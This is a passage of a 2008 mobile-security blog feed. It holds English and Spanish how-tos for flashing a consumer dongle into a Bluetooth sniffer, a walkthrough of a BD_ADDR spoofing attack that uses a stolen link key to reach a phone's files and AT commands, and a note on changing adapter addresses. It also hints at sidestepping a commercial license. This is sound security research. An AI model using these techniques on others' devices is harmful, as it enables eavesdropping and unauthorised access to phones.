url="http://lh5.ggpht.com/_kWGvruOyW-U/SSKsJ1Fv0sI/AAAAAAAAARA/jqsjxHbkLFo/s72-c/sniffing-pairing-0.jpg" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/11/sniffando-el-emparejamiento-bluetooth.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk8ASX4yeSp7ImA9WxVXE0s.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-2887609695203711321</id><published>2008-11-12T13:39:00.008+01:00</published><updated>2009-02-11T16:07:28.091+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-11T16:07:28.091+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Building your own Bluetooth sniffer</title><content type="html">On May 2007 Max Moser published a &lt;a href="http://www.remote-exploit.org/research/busting_bluetooth_myth.pdf"&gt;procedure to build your own cheap Bluetooth sniffer from a consumer Bluetooth dongle&lt;/a&gt;. Here's the practical how-to, it's fully documented on the internet so this is a short and quick explanation.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_kWGvruOyW-U/SRrO7e8rKjI/AAAAAAAAAPM/EOm4SDsUSBY/s800/sniffer-usb-bluetooth-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SRrOqfgGymI/AAAAAAAAAOs/q2X1wy3bNfU/s800/hciconfig-a.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;There are specific requirements for the Bluetooth adaptor so it can be flashed into a Bluetooth sniffer:&lt;br /&gt;&lt;br /&gt;1. Cambridge Silicon Radio (CSR) chipset.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrO7OPRHVI/AAAAAAAAAPE/FR-HRz4OimU/s800/lsusb.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;2. &lt;a href="http://www.csr.com/products/bcrange.htm"&gt;BC4&lt;/a&gt; External or Flash. ROM memory adaptors can't be used.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SRrO654Tl3I/AAAAAAAAAO0/AaOgPttcfZg/s800/hciconfig-revision-1.jpg" /&gt;&lt;br /&gt;The second dongle (BC4 EXT) will do, the first (BC2 EXT) not sure.&lt;br /&gt;&lt;br /&gt;You need these tools:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;bccmd&lt;/span&gt;: modify firmware settings&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;dfutool&lt;/span&gt;: flash and update the firmware&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;You can obtain them via bluez-cvs, &lt;a href="http://d.hatena.ne.jp/eggman/20071126"&gt;here is how to&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;# sudo apt-get install libbluetooth2 libbluetooth2-dev libusb-0.1-4 libusb-dev&lt;br /&gt;# cvs -d:pserver:anonymous@cvs.bluez.org:/cvsroot/bluez login&lt;br /&gt;# cvs -d:pserver:anonymous@cvs.bluez.org:/cvsroot/bluez co utils&lt;br /&gt;# cd utils/tools&lt;br /&gt;# gcc -lusb -lbluetooth csr.c csr_3wire.c csr_bcsp.c csr_h4.c csr_hci.c csr_usb.c ubcsp.c bccmd.c -o bccmd&lt;br /&gt;# gcc -lusb -lbluetooth csr.c dfutool.c -o dfutool&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You will also need to download and install &lt;a style="font-weight: bold;" href="http://www.fte.com/"&gt;Frontline Test Equipment FTS4BT&lt;/a&gt; version &lt;= 5.6.9.0, in order to obtain the airsnifferdev4*bc4.dfu firmware which you can use to upgrade the dongle. &lt;br /&gt;&lt;br /&gt;The procedure is simple. First, you need to change the product id (should be 0x0002) and vendor id (should be 0x0a12), the FTS4BT tool requires that to recognize the Bluetooth adaptor.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrOpNpph4I/AAAAAAAAAOM/NDIdA5hFiOk/s800/bccmd.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Then, you need to backup the firmware of the dongle before flashing it with airsnifferdev4*bc4.dfu.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrOppSn2bI/AAAAAAAAAOU/tO2MGMJKxJ8/s800/dfutool-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SRrOp2G7IqI/AAAAAAAAAOc/UNkr2h22IkU/s800/dfutool-2.jpg" /&gt;&lt;br /&gt;If you use airsnifferdev5*bc4.dfu you might brick your dongle and make it useless so it's important to find the correct version of FTS4BT (with airsnifferdev4*bc4.dfu), the last version won't do.&lt;br /&gt;&lt;br /&gt;After you have done those two operations successfully you can see the Bluetooth dongle is in RAW mode. (You may need to plug it out &amp;amp; in).&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrO7D69-II/AAAAAAAAAO8/6TD0j_DW2bw/s800/hciconfig-rx-tx-grow.jpg" /&gt;&lt;br /&gt;The RX and TX bytes should be rising.&lt;br /&gt;&lt;br /&gt;You can also test it's working by executing &lt;a href="http://darkircop.org/bt/bt.tgz"&gt;&lt;span style="font-weight:bold;"&gt;frontline&lt;/span&gt;, the tool released by Andrea (aka sorbo)&lt;/a&gt; for sending commands to a hardware sniffer.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrOp0wu20I/AAAAAAAAAOk/f-ArulHFDUU/s800/frontline-1.jpg" /&gt;&lt;br /&gt;The timer should be increasing.&lt;br /&gt;&lt;br /&gt;You got it!&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SRrO7TtxnnI/AAAAAAAAAPU/c4nkHU3AaPk/s800/sniffer-usb-bluetooth-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;You can follow these useful links to find more information:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.evilgenius.de/wp-content/uploads/2008/03/diy_bt_sniffer.pdf"&gt;Slides of Do It Yourself Bluetooth Sniffer presentation&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://bluetoothsecurity.wordpress.com/2007/05/12/bluetooth-sniffing-for-less/"&gt;Bluetooth sniffing for less&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.remote-exploit.org/showpost.php?p=56307&amp;amp;postcount=3"&gt;Bluetooth sniffer&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-2887609695203711321?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/QPq8k6zUuUA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/2887609695203711321/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=2887609695203711321" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2887609695203711321?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/2887609695203711321?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/QPq8k6zUuUA/building-your-own-bluetooth-sniffer.html" title="Building your own Bluetooth sniffer" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh3.ggpht.com/_kWGvruOyW-U/SRrO7e8rKjI/AAAAAAAAAPM/EOm4SDsUSBY/s72-c/sniffer-usb-bluetooth-1.jpg" height="72" width="72" /><thr:total>5</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/11/building-your-own-bluetooth-sniffer.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQNQ34zeyp7ImA9WxVXE0s.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-7161840888912897543</id><published>2008-11-11T05:05:00.004+01:00</published><updated>2009-02-11T15:59:52.083+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-11T15:59:52.083+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security (español)" /><title>Construyendo tu propio sniffer Bluetooth</title><content type="html">Como ya comenté en mi post sobre &lt;a href="http://seguridadmobile.blogspot.com/2007/08/avances-en-sniffing-bluetooth.html"&gt;Avances en sniffing Bluetooth&lt;/a&gt;, en Mayo de 2007 Max Moser publicó un &lt;a href="http://www.remote-exploit.org/research/busting_bluetooth_myth.pdf"&gt;procedimiento para construir tu propio sniffer Bluetooth a partir de un adaptador USB Bluetooth convencional&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_kWGvruOyW-U/SRrO7e8rKjI/AAAAAAAAAPM/EOm4SDsUSBY/s800/sniffer-usb-bluetooth-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_kWGvruOyW-U/SRrOqfgGymI/AAAAAAAAAOs/q2X1wy3bNfU/s800/hciconfig-a.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;El adaptador Bluetooth necesita cumplir dos requerimientos para poder ser convertido en un sniffer Bluetooth:&lt;br /&gt;&lt;br /&gt;1. Chipset Cambridge Silicon Radio (CSR).&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrO7OPRHVI/AAAAAAAAAPE/FR-HRz4OimU/s800/lsusb.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;2. &lt;a href="http://www.csr.com/products/bcrange.htm"&gt;BC4&lt;/a&gt; External o Flash. Los adaptadores Bluetooth con memoria ROM no sirven.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SRrO654Tl3I/AAAAAAAAAO0/AaOgPttcfZg/s800/hciconfig-revision-1.jpg" /&gt;&lt;br /&gt;El segundo adaptador (BC4 EXT) sirve, el primero (BC2 EXT) no estoy seguro.&lt;br /&gt;&lt;br /&gt;Necesitas conseguir las siguientes herramientas:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;bccmd&lt;/span&gt;: permite modificar la configuración del firmware&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;dfutool&lt;/span&gt;: permite flashear el adaptador y actualizar el firmware&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Se pueden obtener vía bluez-cvs, &lt;a href="http://d.hatena.ne.jp/eggman/20071126"&gt;aquí se explica cómo&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;# sudo apt-get install libbluetooth2 libbluetooth2-dev libusb-0.1-4 libusb-dev&lt;br /&gt;# cvs -d:pserver:anonymous@cvs.bluez.org:/cvsroot/bluez login&lt;br /&gt;# cvs -d:pserver:anonymous@cvs.bluez.org:/cvsroot/bluez co utils&lt;br /&gt;# cd utils/tools&lt;br /&gt;# gcc -lusb -lbluetooth csr.c csr_3wire.c csr_bcsp.c csr_h4.c csr_hci.c csr_usb.c ubcsp.c bccmd.c -o bccmd&lt;br /&gt;# gcc -lusb -lbluetooth csr.c dfutool.c -o dfutool&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;También hace falta descargarse e instalar el paquete &lt;a style="font-weight: bold;" href="http://www.fte.com/"&gt;Frontline Test Equipment FTS4BT&lt;/a&gt; versión &lt;= 5.6.9.0, que contiene el firmware airsnifferdev4*bc4.dfu que luego utilizaremos para actualizar el adaptador Bluetooth.&lt;br /&gt;&lt;br /&gt;El procedimiento es simple. En primer lugar, la herramienta FTS4BT requiere cierta configuración para poder reconocer el adaptador como sniffer hardware. Hay que cambiar el id de producto (debería ser 0x0002) y el id de fabricante (debería ser 0x0a12).&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrOpNpph4I/AAAAAAAAAOM/NDIdA5hFiOk/s800/bccmd.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Después, es recomendable hacer backup del firmware existente en el adaptador Bluetooth antes de flashearlo y cargarle el firmware airsnifferdev4*bc4.dfu.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrOppSn2bI/AAAAAAAAAOU/tO2MGMJKxJ8/s800/dfutool-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SRrOp2G7IqI/AAAAAAAAAOc/UNkr2h22IkU/s800/dfutool-2.jpg" /&gt;&lt;br /&gt;Si se utiliza el firmware airsnifferdev5*bc4.dfu el adaptador puede quedar inservible así que es importante obtener la versión correcta de FTS4BT (la que contiene airsnifferdev4*bc4.dfu), las últimas versiones disponibles para descarga no sirven.&lt;br /&gt;&lt;br /&gt;Tras haber realizado con éxito estas operaciones, se puede observar que el adaptador Bluetooth se encuentra en modo RAW. (Es posible que necesites sacarlo y volverlo a meter).&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrO7D69-II/AAAAAAAAAO8/6TD0j_DW2bw/s800/hciconfig-rx-tx-grow.jpg" /&gt;&lt;br /&gt;Los bytes RX y TX deberían ir en aumento.&lt;br /&gt;&lt;br /&gt;También puedes comprobar que funciona ejecutando &lt;a href="http://darkircop.org/bt/bt.tgz"&gt;&lt;span style="font-weight:bold;"&gt;frontline&lt;/span&gt;, la herramienta publicada por Andrea (aka sorbo)&lt;/a&gt; que permite enviar comandos a un sniffer hardware. &lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_kWGvruOyW-U/SRrOp0wu20I/AAAAAAAAAOk/f-ArulHFDUU/s800/frontline-1.jpg" /&gt;&lt;br /&gt;El tiempo debería ir creciendo.&lt;br /&gt;&lt;br /&gt;¡Ya lo tienes!&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SRrO7TtxnnI/AAAAAAAAAPU/c4nkHU3AaPk/s800/sniffer-usb-bluetooth-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Ahora podrías utilizar el adaptador USB Bluetooth como hardware del sniffer FTS4BT y comenzar a sniffar, pero para ello necesitas tener el paquete comercial registrado con ese adaptador (aunque siempre puedes &lt;a href="http://seguridadmobile.blogspot.com/2008/10/changing-htc-shift-integrated-bdaddr.html"&gt;cambiar la BD_ADDR del adaptador&lt;/a&gt; ;)).&lt;br /&gt;&lt;br /&gt;Puedes encontrar más información en estos enlaces:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.evilgenius.de/wp-content/uploads/2008/03/diy_bt_sniffer.pdf"&gt;Slides of Do It Yourself Bluetooth Sniffer presentation&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://bluetoothsecurity.wordpress.com/2007/05/12/bluetooth-sniffing-for-less/"&gt;Bluetooth sniffing for less&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.remote-exploit.org/showpost.php?p=56307&amp;amp;postcount=3"&gt;Bluetooth sniffer&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-7161840888912897543?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/J_DS5l6wFmM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/7161840888912897543/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=7161840888912897543" title="11 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7161840888912897543?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/7161840888912897543?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/J_DS5l6wFmM/construyendo-tu-propio-sniffer.html" title="Construyendo tu propio sniffer Bluetooth" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh3.ggpht.com/_kWGvruOyW-U/SRrO7e8rKjI/AAAAAAAAAPM/EOm4SDsUSBY/s72-c/sniffer-usb-bluetooth-1.jpg" height="72" width="72" /><thr:total>11</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/11/construyendo-tu-propio-sniffer.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEECR3s6fip7ImA9WhdaFkw.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-5056566017390094579</id><published>2008-10-17T00:41:00.012+02:00</published><updated>2011-10-26T09:04:26.516+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-26T09:04:26.516+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mobile phone security" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>BD_ADDR spoofing attack</title><content type="html">One of the major security issues in Bluetooth is the BD_ADDR spoofing. Taking a look at the spec you can see how simple are the security mechanisms implemented by Bluetooth technology: &lt;span style="font-weight: bold;"&gt;authorization and authentication&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;3.2.1 Authorisation and Authentication&lt;br /&gt;Authorisation is the process of deciding if device X is allowed to have access to service Y. This is where the concept of ‘trusted’ exists. Trusted devices (authenticated and indicated as “trusted”), are allowed access to services.&lt;br /&gt;3.2.2 Security Levels of Services&lt;br /&gt;Authorisation Required: Access is only granted automatically to trusted devices (i.e., devices marked as such in the device database) or untrusted devices after an authorisation procedure.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Source: 3.2 Security Levels – Bluetooth Security Architecture Version 1.0 (&lt;a href="http://www.bluetooth.com/"&gt;www.bluetooth.com&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;That means that the &lt;span style="font-weight: bold;"&gt;authorization mechanism is based only in the BD_ADDR of the devices&lt;/span&gt;, if the BD_ADDR exists in the trusted devices list, got access granted.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;4.2.1 Authentication&lt;br /&gt;The authentication procedure is based on a challenge-response scheme […]. The verifier sends […] a random number (the challenge) to the claimant. The claimant calculates a response, that is a function of this challenge, the claimant’s BD_ADDR and a secret key. The response is sent back to the verifier, that checks if the response was correct or not. […] A successful calculation of the authentication response requires that two devices share a secret key.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Source: 4.2 Security - Core v2.0 + EDR (&lt;a href="http://www.bluetooth.org/"&gt;www.bluetooth.org&lt;/a&gt;, available for SIG members)&lt;br /&gt;&lt;br /&gt;That means that the &lt;span style="font-weight: bold;"&gt;authentication mechanism is based only in the BD_ADDR and the shared secret link key&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Some interesting questions show up... :)&lt;br /&gt;&lt;ul&gt;&lt;li&gt;What happens if an attacker spoofs some trusted device's BD_ADDR? Is he autorized to connect the remote device?&lt;/li&gt;&lt;li&gt;What happens if an attacker gets access to a secret link key shared between two devices? Can it be used to authenticate on both of them?&lt;/li&gt;&lt;/ul&gt;Yes, you can.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The BD_ADDR spoofing attack.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The BD_ADDR spoofing attack allows an attacker to masquerade as some trusted/paired device and use the credentials to gain access to profiles requiring authorization/authentication in a remote mobile phone.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh5.ggpht.com/_kWGvruOyW-U/SykMuM4Pz3I/AAAAAAAAAcs/7pL59B92U6Y/s800/bd_addr-spoofing.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;The BD_ADDR spoofing attack can be developed in two levels:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Spoofing the BD_ADDR of some trusted device to access profiles requiring authorization.&lt;/li&gt;&lt;li&gt;Spoofing the BD_ADDR and obtaining the shared secret link key generated during the pair up to access profiles requiring authentication.&lt;/li&gt;&lt;/ul&gt;The scope of such attack can be:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://seguridadmobile.blogspot.com/2008/10/sending-at-commands-to-mobile-phones.html"&gt;Sending AT commands to the mobile phone&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://seguridadmobile.blogspot.com/2008/10/sending-getting-files-from-mobile.html"&gt;Sending / Getting files from the mobile phone&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Practical scenario.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Let's create a scenario with a Sony-Ericcson phone paired up with a a Dell Axim PDA. The HTC Shift will spoof the PDA's identity to attack the mobile phone.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SPd9xaln1vI/AAAAAAAAAH4/XcZ7qJX7UV4/s800/bd_addr-spoofing-0a.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SPd9xQgVL7I/AAAAAAAAAIA/yAABgLFFDSg/s800/bd_addr-spoofing-0b.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;First, you discover the devices.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SPd9xR5aYbI/AAAAAAAAAII/CYK43Q-hXzA/s800/bd_addr-spoofing-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;If you try to establish any connection with the mobile phone, it's sure that the user will deny it since it's coming from an unknown device.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/alberto.morenot/SPd-GwJaBlI/AAAAAAAAAIQ/fHM1MA6Sazo/s800/bd_addr-spoofing-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;So, in order the HTC Shift can impersonate the PDA you need to &lt;a href="http://seguridadmobile.blogspot.com/2008/10/changing-htc-shift-integrated-bdaddr.html"&gt;spoof its BD_ADDR&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SPd-G6PBm-I/AAAAAAAAAIY/ksCpIdPPJI4/s800/bd_addr-spoofing-3.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;And obtain the secret link key shared between the PDA and the mobile phone.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SPd-HC1ch3I/AAAAAAAAAIo/cG23MH0GKtc/s800/bd_addr-spoofing-5a.jpg" /&gt; &lt;img src="http://lh3.ggpht.com/alberto.morenot/SPd-HDvDAMI/AAAAAAAAAIw/vVxXdd5FovY/s800/bd_addr-spoofing-5b.jpg" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;At this time, we're not discussing ways to obtaining the link key, let's say you simply get (physical or virtual) access to it in the PDA. After, you install the key on Ubuntu.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SPd-GyjsnUI/AAAAAAAAAIg/DKmdGutpdU4/s800/bd_addr-spoofing-4.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Finally you gain free access to profiles requiring authorization/authentication.&lt;br /&gt;&lt;br /&gt;For instance, the OBEX FTP Profile, which allows you to &lt;a href="http://seguridadmobile.blogspot.com/2008/10/sending-getting-files-from-mobile.html"&gt;send files, get files and list directories in the mobile phone&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/alberto.morenot/SPd-V4nGH4I/AAAAAAAAAI4/59EVHgg0szU/s800/bd_addr-spoofing-6.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/alberto.morenot/SPd-V7SoEHI/AAAAAAAAAJA/vJxWbezwoik/s800/bd_addr-spoofing-7.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;For instance, the Dial Up Networking Profile, which allows you to &lt;a href="http://seguridadmobile.blogspot.com/2008/10/sending-at-commands-to-mobile-phones.html"&gt;send AT Commands to the mobile phone&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/alberto.morenot/SPd-VyXdcaI/AAAAAAAAAJI/eDfdIgkYAnE/s800/bd_addr-spoofing-8.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SPd-V20HdfI/AAAAAAAAAJQ/c9mugRjPhP0/s800/bd_addr-spoofing-9.jpg" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-5056566017390094579?l=seguridadmobile.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SeguridadMobile/~4/hjIOYRp0bUw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://seguridadmobile.blogspot.com/feeds/5056566017390094579/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1056509288419803050&amp;postID=5056566017390094579" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/5056566017390094579?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1056509288419803050/posts/default/5056566017390094579?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SeguridadMobile/~3/hjIOYRp0bUw/bdaddr-spoofing-attack.html" title="BD_ADDR spoofing attack" /><author><name>Alberto</name><uri>http://www.blogger.com/profile/05614213072751714906</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/_kWGvruOyW-U/SykMuM4Pz3I/AAAAAAAAAcs/7pL59B92U6Y/s72-c/bd_addr-spoofing.jpg" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://seguridadmobile.blogspot.com/2008/10/bdaddr-spoofing-attack.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQGSX8_eyp7ImA9WxRVFUg.&quot;"><id>tag:blogger.com,1999:blog-1056509288419803050.post-6611870108217556803</id><published>2008-10-15T18:35:00.009+02:00</published><updated>2008-11-13T05:58:48.143+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-11-13T05:58:48.143+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mobile phone security" /><category scheme="http://www.blogger.com/atom/ns#" term="Bluetooth security" /><title>Changing HTC Shift integrated BD_ADDR</title><content type="html">There's a great tool called &lt;span style="font-weight: bold;"&gt;bdaddr&lt;/span&gt; that allows you to change the BD_ADDR, the physical address, in your Bluetooth adapter. It &lt;a href="http://www.security-express.com/archives/fulldisclosure/2005-08/0410.html"&gt;works&lt;/a&gt; with Ericcson, Cambridge Silicon Radio and Zeevo chipsets.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SPd9xH1OyXI/AAAAAAAAAHo/Nneh9nINZQE/s800/bdaddr-1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;I'm glad to know that the HTC Shift comes with a CSR integrated chipset, so i'm able to change its BD_ADDR.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/alberto.morenot/SPd9xKoKGgI/AAAAAAAAAHw/jLjXsRV4ji8/s800/bdaddr-2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;After changing the address, you need to turn the hci0 interface down and sometimes even plug the dongle out and in again so changes are applied.&lt;br /&gt;&lt;br /&gt;You can get the code of &lt;span style="font-weight: bold;"&gt;bdaddr&lt;/span&gt; &lt;a href="https://stage.maemo.org/svn/maemo/projects/connectivity/bluez-utils/tags/bluez-utils-3.7osso6/test/bdaddr.c"&gt;here&lt;/a&gt; and you can find the tool ready to &lt;span style="font-style:italic;"&gt;Make&lt;/span&gt; &lt;a href="http://blog.lafalaciadelabarbaverde.com/wp-content/uploads/2007/12/bdaddr.tar.bz2"&gt;here&lt;/a&gt;, since it's not included in the last bluez-utils package shipped with Ubuntu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1056509288419803050-6611870108217556803?l=seguridadmobile.blogspot.com' alt='' 